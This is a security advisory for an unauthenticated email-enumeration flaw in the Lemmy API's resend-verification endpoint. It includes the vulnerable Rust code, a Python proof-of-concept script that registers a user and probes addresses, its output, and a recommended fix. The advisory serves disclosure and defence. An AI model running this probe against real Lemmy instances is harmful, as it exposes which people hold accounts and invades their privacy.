PT-2026-41501 · Crates.Io · Lemmy Api

Publicado

2026-05-06

·

Atualizado

2026-05-06

CVSS v4.0

5.5

Média

VetorAV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Summary

The unauthenticated resend-verification endpoint returns different responses for registered and unregistered email addresses. A malicious third party can submit candidate addresses to /api/v4/account/auth/resend verification email and distinguish accounts from misses.

Details

resend verification email() looks up the submitted address and returns the lookup error to the caller:
rust
let local user view = LocalUserView::find by email(&mut context.pool(), &email).await?;
check local user valid(&local user view)?;
The password reset endpoint already uses a safer pattern. It discards lookup errors and returns success, which prevents the same account-discovery channel.

Proof of Concept

The following script creates one user and probes that address plus a missing address.
python
import requests, random, string

BASE = "http://127.0.0.1:8536/api/v4" # change to the target Lemmy URL
ADMIN USER = "lemmy"
ADMIN PASS = "lemmylemmy"
PASSWORD = "Password123456!"

def post(path, **body):
  return requests.post(BASE + path, json=body)

suffix = "enum" + "".join(random.choice(string.ascii lowercase) for  in range(6))
admin = post("/account/auth/login", username or email=ADMIN USER, password=ADMIN PASS).json()["jwt"]
requests.put(BASE + "/site", headers={"Authorization": "Bearer " + admin},
       json={"registration mode": "open", "email verification required": False})

email = "alice" + suffix + "@example.test"
post("/account/auth/register", username="alice" + suffix, password=PASSWORD,
   password verify=PASSWORD, email=email).raise for status()

for candidate in [email, "missing" + suffix + "@example.test"]:
  r = post("/account/auth/resend verification email", email=candidate)
  print(candidate, "HTTP", r.status code, r.text[:300])
Output:
text
alicepoceudtpf@example.test HTTP 200 {"success":true}
missingpoceudtpf@example.test HTTP 404 {"error":"not found","cause":"Record not found"}

Impact

A malicious third party can enumerate registered email addresses without authentication. The endpoint uses the registration rate limit bucket, not an endpoint-specific anti-enumeration limit, so the attacker can automate probes across candidate address lists. The response also distinguishes missing accounts from banned or deleted accounts because check local user valid() returns separate error types.

Recommended Fix

Use the password-reset pattern for resend verification. Move the lookup and email-send work into a helper, ignore helper errors in the handler, and always return {"success": true} for syntactically valid input.

Found by aisafe.io

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-QXRW-F6FH-34R7

Produtos afetados

Lemmy Api